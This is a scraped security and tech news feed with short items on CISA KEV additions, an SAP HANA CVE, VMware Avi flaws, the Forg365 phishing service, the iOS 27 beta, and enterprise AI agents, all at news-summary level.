<p>CISA added the following vulnerabilities to its <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">Known Exploited Vulnerabilities (KEV) Catalog</a>: CVE-2026-32201 on April 14, 2026; CVE-2026-45659 on July 1, 2026; and CVE-2026-56164 on July 14, 2026. </p>
<p><strong>Note:</strong> CISA may update this Alert to reflect new guidance issued by CISA or other parties.</p>
<p>Organizations should report incidents or anomalous activity to CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472).</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA. </p>
<h2><strong>Acknowledgements </strong></h2>
<p>Microsoft contributed to this Alert.</p>]]></content:encoded>
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<title><![CDATA[Multi-agent social intelligence with Strands Agents and Amazon Bedrock]]></title>
<description><![CDATA[This post shows how Thrad.ai deployed a multi-agent system with Strands Agents and Amazon Bedrock AgentCore that automates the pipeline from prospect discovery through personalized email generation. The post compares two orchestration patterns (Swarm and Graph) with head-to-head benchmarks on lat...]]></description>
<link>https://tsecurity.de/de/3668928/ai-nachrichten/multi-agent-social-intelligence-with-strands-agents-and-amazon-bedrock/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668928/ai-nachrichten/multi-agent-social-intelligence-with-strands-agents-and-amazon-bedrock/</guid>
<pubDate>Tue, 14 Jul 2026 20:52:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This post shows how Thrad.ai deployed a multi-agent system with Strands Agents and Amazon Bedrock AgentCore that automates the pipeline from prospect discovery through personalized email generation. The post compares two orchestration patterns (Swarm and Graph) with head-to-head benchmarks on latency, cost, and email quality. You’ll also learn how the system scores prospects using weighted criteria, intent classification, and temporal decay, plus governance controls for production deployment.]]></content:encoded>
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<title><![CDATA[Vieu launches AI-ready map of business relationships, challenging tech incumbents]]></title>
<description><![CDATA[Vieu, a Seattle startup founded by former Microsoft leaders, launched its "Business Graph" — a live map of business relationships built from observed signals like shared work history and board affiliations, rather than the self-reported connections on LinkedIn.  Read More]]></description>
<link>https://tsecurity.de/de/3668784/it-nachrichten/vieu-launches-ai-ready-map-of-business-relationships-challenging-tech-incumbents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668784/it-nachrichten/vieu-launches-ai-ready-map-of-business-relationships-challenging-tech-incumbents/</guid>
<pubDate>Tue, 14 Jul 2026 19:24:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1260" height="841" src="https://cdn.geekwire.com/wp-content/uploads/2026/07/image1-1260x841.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/07/image1-1260x841.jpg 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/07/image1-768x513.jpg 768w, https://cdn.geekwire.com/wp-content/uploads/2026/07/image1-1536x1026.jpg 1536w, https://cdn.geekwire.com/wp-content/uploads/2026/07/image1.jpg 1999w" sizes="(max-width: 1260px) 100vw, 1260px"><br>Vieu, a Seattle startup founded by former Microsoft leaders, launched its "Business Graph" — a live map of business relationships built from observed signals like shared work history and board affiliations, rather than the self-reported connections on LinkedIn.  <a href="https://www.geekwire.com/2026/vieu-launches-ai-ready-map-of-business-relationships-challenging-tech-incumbents/">Read More</a>]]></content:encoded>
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<title><![CDATA[Vieu launches AI-ready map of business relationships, challenging sales-tech incumbents]]></title>
<description><![CDATA[Vieu, a Seattle startup founded by former Microsoft leaders, launched its "Business Graph" — a live map of business relationships built from observed signals like shared work history and board affiliations, rather than the self-reported connections on LinkedIn.  Read More]]></description>
<link>https://tsecurity.de/de/3668706/it-nachrichten/vieu-launches-ai-ready-map-of-business-relationships-challenging-sales-tech-incumbents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668706/it-nachrichten/vieu-launches-ai-ready-map-of-business-relationships-challenging-sales-tech-incumbents/</guid>
<pubDate>Tue, 14 Jul 2026 18:57:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1260" height="841" src="https://cdn.geekwire.com/wp-content/uploads/2026/07/image1-1260x841.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/07/image1-1260x841.jpg 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/07/image1-768x513.jpg 768w, https://cdn.geekwire.com/wp-content/uploads/2026/07/image1-1536x1026.jpg 1536w, https://cdn.geekwire.com/wp-content/uploads/2026/07/image1.jpg 1999w" sizes="(max-width: 1260px) 100vw, 1260px"><br>Vieu, a Seattle startup founded by former Microsoft leaders, launched its "Business Graph" — a live map of business relationships built from observed signals like shared work history and board affiliations, rather than the self-reported connections on LinkedIn.  <a href="https://www.geekwire.com/2026/vieu-launches-ai-ready-map-of-business-relationships-challenging-sales-tech-incumbents/">Read More</a>]]></content:encoded>
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<title><![CDATA[Siri AI steals the show as the iOS 27 public beta lands]]></title>
<description><![CDATA[Apple has released the first public betas of its “27” series of operating systems, and feedback so far suggests they’re already very stable builds, even at this early end of the release cycle. 



For most intrepid public beta testers, the big attractions here are Siri AI and the heavily improved...]]></description>
<link>https://tsecurity.de/de/3668518/it-nachrichten/siri-ai-steals-the-show-as-the-ios-27-public-beta-lands/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668518/it-nachrichten/siri-ai-steals-the-show-as-the-ios-27-public-beta-lands/</guid>
<pubDate>Tue, 14 Jul 2026 17:48:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Apple has released the first public betas of its <a href="https://beta.apple.com/" target="_blank" rel="noreferrer noopener">“27” series of operating systems</a>, and <a href="https://x.com/JoannaStern/status/2076771694740406579?s=20" target="_blank" rel="noreferrer noopener">feedback so far</a> suggests they’re already very stable builds, even at this early end of the release cycle. </p>



<p class="wp-block-paragraph">For most intrepid public beta testers, the big attractions here are <a href="https://www.computerworld.com/article/4184484/siri-ai-is-all-apple-it-just-needed-google-to-get-there.html">Siri AI</a> and the heavily improved Apple Intelligence tools – though Siri AI is <a href="https://www.applemust.com/apples-siri-ai-stand-off-with-europe-just-escalated/" target="_blank" rel="noreferrer noopener">not yet available in Europe</a> due to regulatory problems there. Overnight social media commentary has been highly positive, with Siri widely seen as delivering on what we always thought it should be rather than the limited product it became.</p>



<h2 class="wp-block-heading"><strong>Caveat emptor</strong></h2>



<p class="wp-block-paragraph">Once installed, the new operating system is fast and better performing on the iPhone, though there are some limitations anyone considering the beta should consider first:</p>



<ul class="wp-block-list">
<li>This is beta software; things can and sometimes do go wrong. So don’t install it on your primary device unless you know how to restore your device and its data.</li>



<li>Some critical apps such as banking tools, VPNs and some smart home management software are reported to be unstable at times.</li>



<li>Once the public beta is first installed, there’s a lengthy period during which your device will rebuild its database; this can take many hours and performance will be affected.</li>



<li>As the OS beds in, users might experience sudden battery drain or the device might seem warmer than usual.</li>



<li>You’ll need to join a lengthy Siri waitlist before you can install the updated Siri AI.</li>



<li>Siri AI requires significant hardware capabilities and only runs on iPhone 15 Pro, iPhone 16 and iPhone 17 models. Alternatively, you must have an M1 or later Mac or an iPad running an M1 chip or later, or A17 Pro (iPad mini).</li>
</ul>



<h2 class="wp-block-heading"><strong>Siri AI is a big improvement</strong></h2>



<p class="wp-block-paragraph">Siri AI is the big reward here. <a href="https://x.com/JoannaStern/status/2076771694740406579?s=20" target="_blank" rel="noreferrer noopener">Joanna Stern called</a> it “significantly better.” It will provide you with much better responses than its predecessor, and its contextual understanding is sophisticated and advanced. </p>



<p class="wp-block-paragraph">That’s because Siri can search across your messages, emails, photos and more to help you find what you’re looking for and has some understanding of where you are and what you are doing to help it make even more accurate decisions. It is faster than it’s ever been with a dedicated app (which includes logs of your interactions) and a new glowing design when activated. </p>



<p class="wp-block-paragraph">The assistant can now hold an ongoing conversation with you, understands what’s on screen, and take some actions in apps. One way that might be useful is if you are looking at a recipe online, you can ask Siri to write up a shopping list for the recipe ingredients and paste it in a Note. Siri has become much more knowledgeable than in the past thanks to its expanded and updated world knowledge database.</p>



<p class="wp-block-paragraph">Apple Intelligence has been beefed up, too, with keyboard tools much improved on the last version. Siri can even reflect your personal tone and style based on the person you’re communicating with when sending a Mail or Messages post. </p>



<h2 class="wp-block-heading"><strong>Apple and the image</strong></h2>



<p class="wp-block-paragraph">The Camera app now has a new Siri mode; it can do things like identify objects and people, or import event details from a leaflet. You can easily search or ask questions about what’s around you, and there are useful new actions you can take, such as getting nutritional insights about a plate of food.</p>



<p class="wp-block-paragraph">Image Playground wasn’t terribly impressive when it first appeared, and a lot of people did little with it. It seems much better now, capable of generating photo-realistic images in virtually any style from natural language prompts or editing existing images. It’s a useful step up.</p>



<p class="wp-block-paragraph">Another impressive feature is Spatial Reframing. This lets you shift the composition of a photo after you’ve taken it, using AI to create accurate renditions of what is outside the frame. A new Extend tool lets you expand images, which is useful for adjusting aspect ratios or creating Lock Screen wallpapers.</p>



<h2 class="wp-block-heading"><strong>The future on your wrist</strong></h2>



<p class="wp-block-paragraph">If you use an Apple Watch, you’ll be impressed, as the contextual AI extends to that device. So, you can have context-savvy conversations with your watch and ask it to do tasks on your behalf. It makes it feel like a bona fide computer on your wrist and bodes well for other <a href="https://www.applemust.com/apple-watch-is-already-the-worlds-dominant-wearable-ai-device/" target="_blank" rel="noreferrer noopener">future wearable products from the company</a>. </p>



<p class="wp-block-paragraph">There are lots of other interesting features in the beta. Call Context can automatically surface the information you need, like a confirmation code or reservation number, when calling up a business. And a new Notify Me feature in Safari lets you know when a web page changes, so you can watch for stock availability or ticket sales.</p>



<h2 class="wp-block-heading"><strong>How to install the beta</strong></h2>



<p class="wp-block-paragraph">If you’re interested in installing the new OSes, <a href="https://beta.apple.com/" target="_blank" rel="noreferrer noopener">Apple’s Beta Software Program</a> website should be your first port of call. You’ll need to sign in to access the betas using your Apple Account. Once you’ve done that, open Settings and go to Software Update; there you can select Beta Updates and choose the 27 series Public beta. Tap Update Now and the installation will begin.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social">BlueSky</a>, <a href="http://www.linkedin.com/in/jonnyevans">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans">Mastodon</a>, and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg">The Core</a>.</em></p>
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<title><![CDATA[CVE-2026-44753 | SAP HANA Database HDB 2.00 User Self Service Tools information disclosure (EUVD-2026-43588)]]></title>
<description><![CDATA[A vulnerability marked as problematic has been reported in SAP HANA Database HDB 2.00. This affects an unknown function of the component User Self Service Tools. The manipulation leads to information disclosure.

This vulnerability is documented as CVE-2026-44753. The attack can be initiated remo...]]></description>
<link>https://tsecurity.de/de/3668301/sicherheitsluecken/cve-2026-44753-sap-hana-database-hdb-200-user-self-service-tools-information-disclosure-euvd-2026-43588/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668301/sicherheitsluecken/cve-2026-44753-sap-hana-database-hdb-200-user-self-service-tools-information-disclosure-euvd-2026-43588/</guid>
<pubDate>Tue, 14 Jul 2026 16:25:47 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">problematic</a> has been reported in <a href="https://vuldb.com/product/sap:hana_database">SAP HANA Database HDB 2.00</a>. This affects an unknown function of the component <em>User Self Service Tools</em>. The manipulation leads to information disclosure.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-44753">CVE-2026-44753</a>. The attack can be initiated remotely. There is not any exploit available.]]></content:encoded>
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<title><![CDATA[VMware Avi Load Balancer Vulnerabilities Let Attackers Bypass Authentication]]></title>
<description><![CDATA[Broadcom-owned VMware has disclosed multiple security flaws in its Avi Load Balancer platform (formerly NSX Advanced Load Balancer) that let attackers bypass authentication controls and gain unauthorized database access through crafted SQL queries. The most severe of these, CVE-2025-22217, carrie...]]></description>
<link>https://tsecurity.de/de/3668159/it-security-nachrichten/vmware-avi-load-balancer-vulnerabilities-let-attackers-bypass-authentication/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668159/it-security-nachrichten/vmware-avi-load-balancer-vulnerabilities-let-attackers-bypass-authentication/</guid>
<pubDate>Tue, 14 Jul 2026 15:51:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Broadcom-owned VMware has disclosed multiple security flaws in its Avi Load Balancer platform (formerly NSX Advanced Load Balancer) that let attackers bypass authentication controls and gain unauthorized database access through crafted SQL queries. The most severe of these, CVE-2025-22217, carries a CVSSv3 score of 8.6 and requires no authentication or user interaction to exploit. The […]</p>
<p>The post <a href="https://cybersecuritynews.com/vmware-avi-load-balancer-vulnerabilities/">VMware Avi Load Balancer Vulnerabilities Let Attackers Bypass Authentication</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[How AI agents are shaping the future of work]]></title>
<description><![CDATA[I attended several major technology conferences in 2025 where the first AI agents embedded in enterprise SaaS platforms were announced. Some of these agents showed promise and a glimpse into the future of work, while others looked like natural language extensions of a platform’s existing function...]]></description>
<link>https://tsecurity.de/de/3667534/it-security-nachrichten/how-ai-agents-are-shaping-the-future-of-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667534/it-security-nachrichten/how-ai-agents-are-shaping-the-future-of-work/</guid>
<pubDate>Tue, 14 Jul 2026 12:07:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I attended several major technology conferences in 2025 where the first AI agents embedded in enterprise SaaS platforms were announced. Some of these agents showed promise and a glimpse into the future of work, while others looked like natural language extensions of a platform’s existing functionality.  </p>



<p class="wp-block-paragraph">At the end of 2025, Anthropic and OpenAI launched new AI models and code-generating capabilities. More developers tried <a href="https://www.infoworld.com/article/4058076/vibe-coding-and-the-future-of-software-development.html">vibe coding</a>, and some platforms launched <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development.html">spec-driven development capabilities</a>. By February 2026, even The New York Times reported that <a href="https://www.nytimes.com/2026/02/18/opinion/ai-software.html">the AI disruption had arrived</a>, noting that code generators were building “apps that may be flawed, but credible.”</p>



<p class="wp-block-paragraph">Wall Street investors took notice of the code-generation improvements and other disruptive factors, driving a selloff in SaaS stocks, now referred to as the “<a href="https://www.bloomberg.com/news/articles/2026-02-03/-get-me-out-traders-dump-software-stocks-as-ai-fears-take-hold">SaaSpocalypse</a>.” Part of their concern stemmed from the belief that CIOs would use AI to <a href="https://www.cio.com/article/4148303/cios-rethink-softwares-future-as-ai-agents-advance.html">write software that would replace SaaS solutions</a>.</p>



<h2 class="wp-block-heading">AI innovations from SaaS and solution providers</h2>



<p class="wp-block-paragraph">But I thought differently and wrote a response in my article asking whether <a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is the end of SaaS as we know it</a>. CIOs might use AI to accelerate application modernization, but I doubt they would replace their ERP, CRM, and even smaller SaaS point solutions by building them.</p>



<p class="wp-block-paragraph">Instead, I believed it would be SaaS companies that would take the most advantage of AI code-generation capabilities.</p>



<p class="wp-block-paragraph">This hypothesis drove me to attend nine conferences this spring to see how SaaS companies were launching AI agents and defining a new future of work. I wrote eight articles on <a href="https://drive.starcio.com/cios-need-to-know">what CIOs need to know</a> about data management, agile organizations, marketing, ERPs, critical process management, and other evolutions to plan for in the AI era.</p>



<p class="wp-block-paragraph">Now, looking across all nine conferences, I can draw some conclusions about how AI agents are shaping the future of work. Here are my learnings and what CIOs need to consider when evaluating and deploying AI agents in the workplace.</p>



<h2 class="wp-block-heading">Agentic, human-in-the-middle, or augmenting human?</h2>



<p class="wp-block-paragraph">SaaS companies have very distinct perspectives on the future of work, including the extent to which humans will play which roles and whether and how quickly we’ll see agentic, fully automated work.</p>



<p class="wp-block-paragraph">For example, Atlassian proclaimed, “<a href="https://www.atlassian.com/company/events">step into the future of human-AI collaboration</a>,” while SAP unveiled “<a href="https://news.sap.com/2026/05/sap-sapphire-sap-unveils-autonomous-enterprise/">the autonomous enterprise</a>.” Snowflake aimed to “<a href="https://www.snowflake.com/en/summit/">make AI real for business</a>,” while Appian targeted “<a href="https://www.appianworld.com/">serious AI built on process</a>.”</p>



<p class="wp-block-paragraph">These vendors’ marketers had to decide whether to lead with AI, people, or business in their messaging, but so must CIOs as they contemplate their AI strategies and how to get employees to fully adopt AI agents.</p>



<p class="wp-block-paragraph">Some CIOs see a fully automated agentic AI as the future, with human-in-the-middle as a transitional phase as departments build trust in AI agents’ decision-making and automation capabilities.</p>



<p class="wp-block-paragraph">Other CIOs see AI more as a tool that delivers productivity improvements by augmenting human decision-making capabilities. Many of these CIOs see human augmentation as essential to supporting critical thinking, innovation, and creativity.</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html">Deloitte’s State of AI Report</a>, published in January, provides a benchmark. It states that 36% of IT leaders expect at least 10% of their jobs to be fully automated in the next year, and 82% expect to reach that benchmark in three years.</p>



<p class="wp-block-paragraph">Many organizations will have a mix of AI agents, choosing automation where reliability at scale is possible, but opting for human augmentation in operationally critical or customer-facing domains. But how CIOs position AI agents is not only an operational strategy; it’s also a cultural statement that shapes employees’ embrace of AI and whether <a href="https://drive.starcio.com/2026/03/ai-leadership-job-at-risk-or-career-opportunity/">detractors vocalize job-loss fears</a>.</p>



<p class="wp-block-paragraph">In the short term, it will also weigh in on which AI agents to use from different partners and which areas to build in-house.</p>



<h2 class="wp-block-heading">Many options to test and deploy AI agents</h2>



<p class="wp-block-paragraph">Many solution providers are demonstrating significantly more AI agents this year. For example, SAP went from <a href="https://drive.starcio.com/2026/05/autonomous-enterprise-ai-cios/">40 Joule Agents in 2025 to over 200 in 2026.</a> Three technology capabilities are fueling this significant growth:</p>



<ul class="wp-block-list">
<li>Adobe, Appian, Boomi, Cisco, Domo, Salesforce, SAP, Snowflake, and others offer <a href="https://www.infoworld.com/article/3497094/does-your-organization-need-a-data-fabric.html">data fabrics</a> and <a href="https://www.infoworld.com/article/3487711/the-definitive-guide-to-data-pipelines.html">data-pipeline</a> capabilities to connect data sources outside the primary workflows supported by their platforms. Appian, Pega, Quickbase, and SAP also centralize business process automation, an important starting point for developing AI agents.  </li>



<li><a href="https://www.infoworld.com/article/4124612/5-requirements-for-using-mcp-servers-to-connect-ai-agents.html">MCP servers</a> enable integration and communication between AI agents and are used to facilitate multistep agentic workflows. Virtually all the companies announcing major investments in AI agents are also announcing MCP integration capabilities and related partnerships.</li>



<li>Solution providers are not just using AI code-generating capabilities; many are launching their own AI agent development tools. The first beneficiaries of these development tools are the solution providers themselves and their integration partners, who use them to accelerate the development of AI agents and make them available to customers.</li>
</ul>



<p class="wp-block-paragraph">The result is that <a href="https://drive.starcio.com/2025/10/ai-agents-definitive-guide-saas-security-titans/">CIOs will have many options about which agents to test</a>, but will have to dedicate analysts to understand the capability, cost, and compliance trade-offs. Additionally, expect AI agent capabilities to evolve significantly over the next few years, so CIOs should continuously revisit their decisions regarding deployed AI agents, focusing on performance, benefits, and ROI.</p>



<p class="wp-block-paragraph">CIOs should also watch for signs of <a href="https://www.cio.com/article/1247890/7-steps-for-turning-shadow-it-into-a-competitive-edge.html">shadow AI</a> and employee confusion about which AI agents to experiment with on different platforms. The AI strategy should include a transparent, defined process for selecting, reviewing, evaluating, procuring, deploying, driving adoption, monitoring, and collecting end-user feedback around AI agents.</p>



<h2 class="wp-block-heading">AI development capabilities for engineers and citizen builders</h2>



<p class="wp-block-paragraph">The apparent ease-of-use of AI code generators may lead some engineering teams to <a href="https://www.cio.com/article/4097339/your-next-big-ai-decision-isnt-build-vs-buy-its-how-to-combine-the-two.html">build AI agents rather than buy them</a> from SaaS providers. But CIOs should quickly realize that coding is just one step in developing AI agents, and that aggressively pursuing a build strategy can lead to <a href="https://www.cio.com/article/4178324/7-sources-of-ai-debt-and-how-to-avoid-them.html">AI debt</a> and <a href="https://www.cio.com/article/4107377/cios-will-underestimate-ai-infrastructure-costs-by-30.html">increased AI costs</a>.</p>



<p class="wp-block-paragraph">DevOps teams can code AI agents using tools such as Claude, Codex, Lovable, and Replit — a do-it-yourself approach. Some SaaS companies are providing an alternative, with AI agent development tools that leverage the data, infrastructure, and governance baked into their platforms. Many of these development tools offer flexibility, allowing developer teams to select AI models and development environments.</p>



<p class="wp-block-paragraph">Examples of new and enhanced AI development tools I saw at conferences this quarter include:</p>



<ul class="wp-block-list">
<li><a href="https://appian.com/blog/2025/appian-25-4-release-enterprise-ai-agents">Appian Composer and Agent Studio</a></li>



<li><a href="https://www.atlassian.com/software/rovo-dev">Atlassian Rovo Dev</a></li>



<li><a href="https://boomi.com/platform/companion/">Boomi Companion</a></li>



<li><a href="https://www.cisco.com/site/us/en/solutions/artificial-intelligence/agentic-ops/cloud-control-studio/index.html">Cisco Cloud Control Studio</a></li>



<li><a href="https://www.domo.com/app-catalyst">Domo App Catalyst</a></li>



<li><a href="https://www.pega.com/about/news/press-releases/pega-harnesses-best-practices-and-ai-coding-agents-build-apps-mission">Pega Infinity Studio</a></li>



<li><a href="https://www.quickbase.com/pave">Quickbase Pave</a></li>



<li><a href="https://www.snowflake.com/en/product/snowflake-coco/">Snowflake CoCo</a></li>



<li><a href="https://www.sap.com/products/artificial-intelligence/joule-studio.html">SAP Joule Studio</a>.</li>
</ul>



<p class="wp-block-paragraph">I also reviewed <a href="https://www.nutanix.com/solutions/ai">Nutanix Agentic AI</a>, a platform-as-a-service for accelerating the deployment of agentic AI workloads, and <a href="https://www.adobe.com/products/firefly/features/ai-assistant.html">Adobe Firefly AI Assistant</a> for creatives.</p>



<p class="wp-block-paragraph">These development tools can target different audiences. Some look like low-code development tools targeted at software developers, whereas others are <a href="https://drive.starcio.com/2026/05/low-code-in-the-ai-era-cios-need-to-know/">no-code and enable citizen developers</a>, i.e., businesspeople, to <a href="https://www.cio.com/article/4176062/cios-are-enlisting-business-users-to-vibe-code-their-own-apps.html">develop applications and agents</a>. Additionally, some of these tools support spec-driven development and generate artifacts such as product requirement documents (PRDs), data models, and testing capabilities.</p>



<p class="wp-block-paragraph">Before commissioning AI development for apps and agents, CIOs should sponsor proofs of technical, data, modeling, security, and governance capabilities.</p>



<h2 class="wp-block-heading">The context layer powering AI agents</h2>



<p class="wp-block-paragraph">Between AI agents and the enterprise’s intelligence, including structured data sources, defined business processes, and agent interactions (both human-to-agent and agent-to-agent), lies an evolving “context layer.”</p>



<p class="wp-block-paragraph">This layer refers to the enterprise knowledge that AI agents draw on when evaluating signals and recommending or taking actions. Context may include a knowledge graph, a semantic layer, cleansed document repositories, and other knowledge bases.</p>



<p class="wp-block-paragraph">The context layer, skills, tools, out-of-the-box agents, and governance capabilities are some areas to review where solution providers differentiate. Some examples: </p>



<ul class="wp-block-list">
<li>Many support the <a href="https://open-semantic-interchange.org/">Open Semantic Interchange</a>, and some brand their context layers, such as the <a href="https://www.atlassian.com/platform/teamwork-graph">Atlassian Teamwork Graph</a>, <a href="https://boomi.com/knowledge-hub-early-access/">Boomi Knowledge Hub</a>, and the <a href="https://www.sap.com/products/artificial-intelligence/knowledge-graph.html">SAP Knowledge Graph</a>.</li>



<li>Some are branding their guardrails, such as <a href="https://business.adobe.com/products/brand-intelligence.html">Adobe’s AI Brand Intelligence</a>, <a href="https://appian.com/products/platform/artificial-intelligence">Appian’s Private AI</a>, and <a href="https://www.quickbase.com/intelligence-pack/ai-control-center">Quickbase AI Control Center</a>.</li>



<li>To manage AI agents at scale, some are extending the notion of data catalogs and other governance tools to the AI domain with products such as <a href="https://boomi.com/platform/connect/">Boomi Connect</a>, <a href="https://www.sap.com/products/artificial-intelligence/ai-agent-hub.html">SAP AI Agent Hub</a>, and <a href="https://www.snowflake.com/en/product/features/horizon/">Snowflake Horizon Catalog</a>.</li>
</ul>



<p class="wp-block-paragraph">CIOs should recognize that while solution providers will compete on capabilities, the real “secret sauce” of the context layer lies in the company’s trusted data, well-defined business processes, and employee adoption of AI agents.</p>



<h2 class="wp-block-heading">Conversational user experiences and coworkers</h2>



<p class="wp-block-paragraph">AI agents use the context layer, but also tap into skills, which encode the procedures they can follow, and tools, which prescribe the actions they can take. Before AI agents are ready to pilot, their governance, including permissions, approval gates, and other guardrails, must be defined. Other capabilities to look for when defining AI agents include orchestration, testing evals, and observability.</p>



<p class="wp-block-paragraph">In 2025, many solution providers bolted on AI agents to their existing user experiences. This year, many solution providers showcased new conversational user experiences that employees can use instead of traditional ones built with forms, flows, reports, and static dashboards. Conversational user experiences are where AI agents and people come together, whether it’s human-in-the-middle or human augmentation.</p>



<p class="wp-block-paragraph">Solution providers also grouped their AI agents into assistants or coworkers. For example, <a href="https://business.adobe.com/products/cx-enterprise-coworker.html">Adobe CX Coworker</a> illustrates human augmentation, helping marketers manage campaigns with prompts and monitor their performance. SAP launched <a href="https://www.sap.com/products/artificial-intelligence/ai-assistant.html">Joule Assistants</a> across several business functions, including finance, human capital, supply chain, and customer experience. Other assistants, such as <a href="https://docs.appian.com/suite/help/26.5/appian-ai-copilot.html">Appian AI Copilot</a>, <a href="https://www.atlassian.com/software/rovo">Atlassian Rovo</a>, <a href="https://www.cisco.com/site/us/en/solutions/artificial-intelligence/ai-assistant/index.html">Cisco AI Assistant</a>, <a href="https://www.nutanix.com/blog/nutanix-intelligent-virtual-agent">Nutanix NIVA</a>, and <a href="https://www.snowflake.com/en/product/snowflake-cowork/">Snowflake CoWork</a>, offer AI-first user experiences to assist different end-user types.</p>



<p class="wp-block-paragraph">CIOs should demo these <a href="https://www.infoworld.com/article/4178415/what-will-ai-first-ux-look-like.html">AI-first user experiences</a> to glimpse the future of work.</p>



<p class="wp-block-paragraph">Developers are already getting used to these experiences through code generators and vibe coding tools. Now, similar capabilities are being tailored across all business functions. CIOs should ramp up their <a href="https://www.cio.com/article/4082282/preparing-your-workforce-for-ai-agents-a-change-management-guide.html">change management programs</a> to accelerate the adoption of these AI capabilities.</p>



<p class="wp-block-paragraph">Solution providers are showcasing AI capabilities that can help CIOs <a href="https://drive.starcio.com/2026/04/ai-reshaping-business-not-digital-transformation-yet/">reshape their businesses</a>. But in Q2, there were only a few examples of how AI can help CIOs drive growth, evolve business models, or embed AI into customer-facing products. I expect to see a wave of further AI innovations that will go beyond productivity improvements and efficiencies and help CIOs pursue <a href="https://drive.starcio.com/2025/02/cios-drive-genai-digital-transformation/">growth-driving digital transformation strategies</a>.  </p>



<p class="wp-block-paragraph"><em>Sacolick travelled to conferences mentioned in this article as a guest of Adobe, Appian, Atlassian, Domo, Nutanix, SAP, and Snowflake. In addition, he was hired by Quickbase to speak at its conference.</em></p>
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<title><![CDATA[Forg365 industrializes Microsoft 365 phishing with AI-generated lures]]></title>
<description><![CDATA[A newly documented phishing-as-a-service platform distributed through Telegram is lowering the technical barrier to Microsoft 365 account takeovers by giving less-skilled attackers automated tools to evade some authentication controls and retain access after compromise.



The platform, called Fo...]]></description>
<link>https://tsecurity.de/de/3667518/it-nachrichten/forg365-industrializes-microsoft-365-phishing-with-ai-generated-lures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667518/it-nachrichten/forg365-industrializes-microsoft-365-phishing-with-ai-generated-lures/</guid>
<pubDate>Tue, 14 Jul 2026 12:02:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A newly documented <a href="https://www.csoonline.com/article/4176814/security-experts-caution-mfa-alone-can-no-longer-stop-threat-actors.html" target="_blank">phishing-as-a-service</a> platform distributed through Telegram is lowering the technical barrier to Microsoft 365 account takeovers by giving less-skilled attackers automated tools to evade some authentication controls and retain access after compromise.</p>



<p class="wp-block-paragraph">The platform, called Forg365, uses AI-assisted lure creation alongside device-code abuse and adversary-in-the-middle techniques, according to research published by security company <a href="https://zerobec.com/blog/inside-forg365-telegram-distributed-sneaky2fa-style-phaas" target="_blank" rel="noreferrer noopener">ZeroBEC</a>.</p>



<p class="wp-block-paragraph">Forg365 was offered with a five-day free trial, followed by subscriptions priced at $400 per month or $3,800 per year, the researchers said.</p>



<p class="wp-block-paragraph">Customers can build phishing lures and control email delivery through a single operator panel. They can also manage captured account data and monitor compromised Microsoft 365 mailboxes. The service includes templates that impersonate widely used business platforms such as DocuSign, Adobe Acrobat Sign, SharePoint, and OneDrive.</p>



<p class="wp-block-paragraph">“Phishing-as-a-service has been around for quite a few years,” said <a href="https://omdia.tech.informa.com/authors/jonathan-ong" target="_blank" rel="noreferrer noopener">Jonathan Ong</a>, senior analyst for managed security services at Omdia. “But the degree to which AI is integrated into Forg365 and enables users is what makes it concerning.”</p>



